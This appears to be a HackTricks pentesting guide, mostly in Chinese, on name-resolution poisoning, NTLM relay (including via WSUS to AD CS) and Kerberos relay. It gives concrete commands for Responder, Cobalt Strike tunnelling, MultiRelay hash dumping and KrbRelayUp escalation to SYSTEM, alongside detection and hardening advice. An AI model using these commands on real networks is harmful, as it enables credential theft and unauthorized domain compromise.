Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Network Protocols

Local Host Resolution Protocols

  • LLMNR, NBT-NS, and mDNS:
  • Microsoft 和其他操作系统在 DNS 解析失败时使用 LLMNR 和 NBT-NS 进行本地名称解析。类似地，Apple 和 Linux 系统使用 mDNS。
  • 这些协议由于以 UDP 广播的方式进行且缺乏认证，因此容易被拦截和伪造。
  • Responder 和 Dementor 可用于通过向查询这些协议的主机发送伪造响应来冒充服务。
  • 有关使用 Responder 进行服务冒充的更多信息，请参见 here.

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD 允许浏览器自动发现代理设置。
  • 发现可以通过 DHCP、DNS 来完成，如果 DNS 失败则回退到 LLMNR 和 NBT-NS。
  • Responder 可以自动化 WPAD 攻击，将客户端定向到恶意 WPAD 服务器。

Responder/Dementor for Protocol Poisoning

  • Responder 是一个用于中毒 LLMNR、NBT-NS 和 mDNS 查询的工具，根据查询类型有选择地响应，主要针对 SMB 服务。

  • 它预装在 Kali Linux 中，可在 /etc/responder/Responder.conf 配置。

  • Responder 会在屏幕上显示捕获到的 hashes，并将其保存在 /usr/share/responder/logs 目录中。

  • 它同时支持 IPv4 和 IPv6。

  • Windows 版本的 Responder 可在 here 获取。

  • Dementor 对多播中毒主题进行了扩展，并且还可以充当流氓服务提供者（包括 CUPS RCE 支持）。

  • 整体结构与 Responder 相似，但配置更精细。（默认配置在此：Dementor.toml）

  • Dementor 与 Responder 的兼容性见此处：Compatibility Matrix

  • 介绍和文档见：Dementor - Docs

  • 修复了 Responder 在某些协议上引入的捕获问题

Running Responder

  • 要用默认设置运行 Responder: responder -I <Interface>
  • 若要更激进地探测（可能有副作用）: responder -I <Interface> -P -r -v
  • 捕获便于破解的 NTLMv1 挑战/响应的技术: responder -I <Interface> --lm --disable-ess
  • 可通过以下方式激活 WPAD 冒充: responder -I <Interface> --wpad
  • NetBIOS 请求可以解析到攻击者的 IP，并可建立认证代理: responder.py -I <interface> -Pv

Running Dementor

  • 使用默认设置: Dementor -I <interface>
  • 使用默认设置并进入分析模式: Dementor -I <interface> -A
  • 自动 NTLM 会话降级 (ESS): Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off
  • 用自定义配置运行当前会话: Dementor -I <interface> --config <file.toml>

DHCP Poisoning with Responder

  • 伪造 DHCP 响应可以永久中毒受害者的路由信息，比 ARP 中毒更隐蔽。
  • 这需要对目标网络配置有精确了解。
  • 运行该攻击: ./Responder.py -I eth0 -Pdv
  • 该方法可以有效捕获 NTLMv1/2 hashes，但需要小心处理以避免网络中断。

Capturing Credentials with Responder/Dementor

  • Responder/Dementor 会使用上述协议冒充服务，当用户尝试对伪造服务进行身份验证时捕获凭据（通常为 NTLMv2 Challenge/Response）。
  • 可以尝试降级到 NetNTLMv1 或禁用 ESS 以便更容易破解凭据。

If you already have a writable SMB share that victims browse, you can coerce outbound SMB without spoofing by planting UNC-based lure files (SCF/LNK/library-ms/desktop.ini/Office) generated with ntlm_theft, then catching the authentication with Responder. See the Explorer-triggered UNC lure workflow.

It’s crucial to note that employing these techniques should be done legally and ethically, ensuring proper authorization and avoiding disruption or unauthorized access.

Inveigh

Inveigh 是一个面向渗透测试人员和红队的工具，专为 Windows 系统设计。它提供与 Responder 类似的功能，执行 spoofing 和 man-in-the-middle 攻击。该工具已从 PowerShell 脚本演变为 C# 二进制，主要版本为 Inveigh 和 InveighZero。详细参数和说明可见 wiki。

Inveigh can be operated through PowerShell:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

或者作为 C# 二进制执行：

Inveigh.exe

NTLM Relay Attack

此攻击利用 SMB 身份验证会话访问目标机器，若成功将获得 system shell。关键先决条件包括：

  • 进行身份验证的用户必须在被中继的主机上具有 Local Admin 访问权限。
  • 应禁用 SMB signing。

445 Port Forwarding and Tunneling

在无法直接引入到目标网络的情况下，需要对 port 445 的流量进行转发和隧道化。像 PortBender 这样的工具可以将 port 445 流量重定向到另一个端口，当具有 Local Admin 权限以便进行 driver loading 时，这点尤为关键。

PortBender 在 Cobalt Strike 中的设置和操作：

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

其他用于 NTLM Relay Attack 的工具

  • Metasploit：可配置代理，以及本地和远程主机详情。
  • smbrelayx：用于中继 SMB 会话的 Python 脚本，可执行命令或部署后门。
  • MultiRelay：来自 Responder 套件的工具，可中继特定用户或所有用户、执行命令或转储哈希。

每个工具都可配置为通过 SOCKS proxy 运行，从而在网络间接访问的情况下仍能发起攻击。

MultiRelay 操作

MultiRelay 在 /usr/share/responder/tools 目录下执行，可针对特定 IP 或用户。

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

RelayKing – 可中继目标发现与精心整理的中继列表

RelayKing 是一款 NTLM relay 的 暴露审计器，用于映射中继可行的位置并生成可供 ntlmrelayx.py -tf 直接使用的目标列表。它会检查协议硬化情况（SMB signing/channel binding；HTTP/HTTPS/MSSQL/LDAP/LDAPS 的 EPA/CBT；RPC auth），并标记 强制/反射辅助（PetitPotam/PrinterBug/DFSCoerce、WebClient/WebDAV、NTLMv1、CVE-2025-33073 反射）。

  • Auth 提高 HTTPS/LDAPS CBT 和 MSSQL EPA 检查的可靠性；SMB signing/signature level 在未认证情况下被探测。
  • 跨协议中继路径利用已确认的 Net-NTLMv1（--ntlmv1/--ntlmv1-all）发现；对每条路径提供严重性排序。
  • --gen-relay-list <file> 会写入一个便于 grep 的目标列表，用于 ntlmrelayx.py -tf <file>，以避免反复试错。
  • --coerce-all 对所有目标批量触发 PetitPotam/DFSCoerce/PrinterBug；--ntlmv1-all（RemoteRegistry）和 --audit（域范围的 LDAP 主机拉取）噪声大，会产生大量登录/远程访问。
  • --proto-portscan 通过跳过关闭端口加速扫描；--krb-dc-only 在 DC 屏蔽 NTLM 但其他服务仍接受时提供帮助。

示例扫描：

# Authenticated audit across multiple protocols + generate relay list for ntlmrelayx
python3 relayking.py -u lowpriv -p 'P@ssw0rd!' -d lab.local --dc-ip 10.0.0.10 \
--audit --protocols smb,ldap,ldaps,mssql,http,https --proto-portscan --ntlmv1 \
--threads 10 -vv -o plaintext,json --output-file relayking-scan --gen-relay-list relaytargets.txt

# Unauthenticated CIDR sweep for SMB/LDAP/HTTP relayability
python3 relayking.py --null-auth --protocols smb,ldap,http --proto-portscan -o plaintext 10.10.0.0/24

这些工具和技术构成了一套全面的方法，用于在各种网络环境中执行 NTLM Relay 攻击。

滥用 WSUS HTTP (8530) 用于将 NTLM Relay 转发到 LDAP/SMB/AD CS (ESC8)

WSUS 客户端使用 NTLM 通过 HTTP (8530) 或 HTTPS (8531) 向其更新服务器进行身份验证。当启用 HTTP 时，可以在本地网段上强制或拦截周期性的客户端签到，并使用 ntlmrelayx 将其中继到 LDAP/LDAPS/SMB 或 AD CS HTTP 端点 (ESC8)，无需破解任何哈希。这会混入正常的更新流量，并经常导致机器账号认证（HOST$）。

What to look for

  • GPO/注册表 配置位于 HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate 和 …\WindowsUpdate\AU:
  • WUServer (e.g., http://wsus.domain.local:8530)
  • WUStatusServer（上报 URL）
  • UseWUServer (1 = WSUS; 0 = Microsoft Update)
  • DetectionFrequencyEnabled 和 DetectionFrequency（小时）
  • 客户端通过 HTTP 使用的 WSUS SOAP 端点：
  • /ClientWebService/client.asmx（批准）
  • /ReportingWebService/reportingwebservice.asmx（状态）
  • 默认端口：8530/tcp HTTP，8531/tcp HTTPS

Reconnaissance

  • 无需认证
  • 扫描监听：nmap -sSVC -Pn –open -p 8530,8531 -iL
  • 通过 L2 MITM 抓取 HTTP WSUS 流量，并使用 wsusniff.py 记录活动客户端/端点（仅 HTTP，除非你能让客户端信任你的 TLS 证书）。
  • 已认证
  • 使用 MANSPIDER + regpol 解析 SYSVOL GPO 中的 WSUS 键（wsuspider.sh 包装脚本汇总 WUServer/WUStatusServer/UseWUServer）。
  • 在主机上（NetExec）或本地批量查询端点： nxc smb -u -p -M reg-query -o PATH=“HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate” KEY=“WUServer” reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-end HTTP relay steps

  1. 将自己置于 MITM 位置（相同 L2），使客户端将 WSUS 服务器解析到你（ARP/DNS 欺骗、Bettercap、mitm6 等）。arpspoof 示例： arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

  2. 将端口 8530 重定向到你的中继监听器（可选，方便）： iptables -t nat -A PREROUTING -p tcp –dport 8530 -j REDIRECT –to-ports 8530 iptables -t nat -L PREROUTING –line-numbers

  3. 启动带 HTTP 监听器的 ntlmrelayx（需要 Impacket 对 HTTP 监听器的支持；见下面的 PR）： ntlmrelayx.py -t ldap:// -smb2support -socks –keep-relaying –http-port 8530

Other common targets:

  • 中继到 SMB（如果未启用签名）以执行/转储：-t smb://
  • 中继到 LDAPS 进行目录更改（例如 RBCD）：-t ldaps://
  • 中继到 AD CS web enrollment (ESC8) 以颁发证书，然后通过 Schannel/PKINIT 进行认证： ntlmrelayx.py –http-port 8530 -t http:///certsrv/certfnsh.asp –adcs –no-http-server For deeper AD CS abuse paths and tooling, see the AD CS page:

AD CS Domain Escalation

  1. 触发客户端签到或等待计划。来自客户端： wuauclt.exe /detectnow or use the Windows Update UI (Check for updates).

  2. 使用已认证的 SOCKS 会话（如果使用 -socks）或直接使用中继结果进行后渗透（LDAP 更改、SMB 操作，或用于后续认证的 AD CS 证书颁发）。

HTTPS constraint (8531)

  • 被动拦截 WSUS over HTTPS 无效，除非客户端信任你的证书。如果没有受信任的证书或其他 TLS 绕过手段，就无法从 WSUS HTTPS 流量中获取/中继 NTLM 握手。

Notes

  • WSUS 已宣布弃用，但仍被广泛部署；HTTP (8530) 在许多环境中仍然常见。
  • 有用的辅助工具：wsusniff.py（观察 HTTP WSUS 签到）、wsuspider.sh（从 GPO 枚举 WUServer/WUStatusServer）、NetExec 的批量 reg-query。
  • Impacket 在 PR #2034 中恢复了对 ntlmrelayx HTTP 监听器的支持（最初在 PR #913 添加）。

强制 NTLM 登录

在 Windows 中，你 可能能够强制一些特权账户向任意机器进行身份验证。阅读以下页面以了解如何：

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack 窃取一个 AP-REQ ticket 从一个服务，并在另一个共享 相同计算机账户密钥 的服务上重用（因为两个 SPN 都位于同一个带 $ 的机器账户上）。即使 SPN 的 service classes differ（例如 CIFS/ → LDAP/），这仍然有效，因为解密票证的 密钥 是机器的 NT hash，而不是 SPN 字符串本身，且 SPN 字符串不是签名的一部分。

Unlike NTLM relay, the hop is limited to the same host but, if you target a protocol that lets you write to LDAP, you can chain into Resource-Based Constrained Delegation (RBCD) or AD CS enrollment and pop NT AUTHORITY\SYSTEM in a single shot.

For detailed info about this attack check:

令牌用途中继相关性
TGT / AS-REQ ↔ REP向 KDC 证明用户不受影响
Service ticket / TGS-REQ ↔ REP绑定到一个 SPN；使用 SPN 所有者的密钥加密如果 SPN 共享账户则可互换
AP-REQ客户端将 TGS 发送到服务我们窃取并重放的内容
  • 票证使用拥有 SPN 的账户的 基于密码派生的密钥 加密。
  • AP-REQ 内的 Authenticator 带有 5 分钟的时间戳；在该窗口内重放有效，直到服务缓存检测到重复项。
  • Windows 很少检查票证中的 SPN 字符串是否与所访问的服务匹配，因此针对 CIFS/HOST 的票证通常在 LDAP/HOST 上也能正确解密。
    1. What must be true to relay Kerberos
  1. Shared key: 源和目标 SPN 属于同一计算机账户（Windows 服务器上的默认情况）。
  2. No channel protection: 没有通道保护：SMB/LDAP 签名关闭，HTTP/LDAPS 的 EPA 关闭。
  3. You can intercept or coerce authentication: LLMNR/NBNS 欺骗、DNS 欺骗、PetitPotam / DFSCoerce RPC、伪造 AuthIP、恶意 DCOM 等。
  4. Ticket source not already used: 你必须在真实数据包到达之前赢得竞争或完全阻断；否则服务器的重放缓存会触发 Event 4649。
  5. 你需要以某种方式在通信中执行 MitM，例如可能需要成为 DNSAdmins 组的一员以修改域的 DNS，或能够更改受害者的 HOSTS 文件。

Kerberos Relay Steps

  • 3.1 侦察主机
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 启动中继监听器

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp 将 KrbRelay → LDAP → RBCD → Rubeus → SCM bypass 封装在一个二进制文件中。

  • 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce 使 DC 向我们发送 Kerberos CIFS/DC01 票据。

  • 3.4 Relay the AP-REQ

KrbRelay 从 SMB 中提取 GSS blob，将其重新打包为 LDAP bind，并转发到 ldap://DC01——身份验证成功，因为 相同的密钥 能解密它。

  • 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

You now own NT AUTHORITY\SYSTEM.

More paths worth knowing

VectorTrickWhy it matters
AuthIP / IPSec恶意服务器发送包含任意 SPN 的 GSS-ID payload；客户端会直接向你构造一个 AP-REQ即使跨子网也可行；默认使用机器凭据
DCOM / MSRPC恶意 OXID resolver 强制客户端向任意 SPN 和端口进行认证纯 本地 提权；绕过防火墙
AD CS Web Enroll中继机器票据到 HTTP/CA 并获取证书，然后使用 PKINIT 签发 TGTs绕过 LDAP 签名防护
Shadow Credentials写入 msDS-KeyCredentialLink，然后用伪造密钥对进行 PKINIT无需添加计算机账户

Troubleshooting

ErrorMeaningFix
KRB_AP_ERR_MODIFIED票据密钥 ≠ 目标密钥使用了错误的主机/SPN
KRB_AP_ERR_SKEW时钟偏移 > 5 分钟同步时间或使用 w32tm
LDAP bind fails强制签名使用 AD CS 路径或禁用签名
Event 4649 spam服务看到重复的 Authenticator阻止或与原始数据包竞争

Detection

  • 在数秒内来自同一来源针对 CIFS/、HTTP/、LDAP/ 的 Event 4769 激增。
  • 服务上的 Event 4649 表示检测到重放。
  • 来自 127.0.0.1 的 Kerberos 登录（中继到本地 SCM）高度可疑——在 KrbRelayUp 文档中通过 Sigma 规则进行映射。
  • 监视 msDS-AllowedToActOnBehalfOfOtherIdentity 或 msDS-KeyCredentialLink 属性的更改。

Hardening

  1. 在每台服务器上强制启用 LDAP 和 SMB signing + EPA。
  2. 拆分 SPN，使 HTTP 不与 CIFS/LDAP 使用同一账户。
  3. 修补强制认证向量（PetitPotam KB5005413、DFS、AuthIP）。
  4. 设置 ms-DS-MachineAccountQuota = 0 以阻止恶意计算机加入。
  5. 针对 Event 4649 和异常的回环 Kerberos 登录设置告警。

References

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks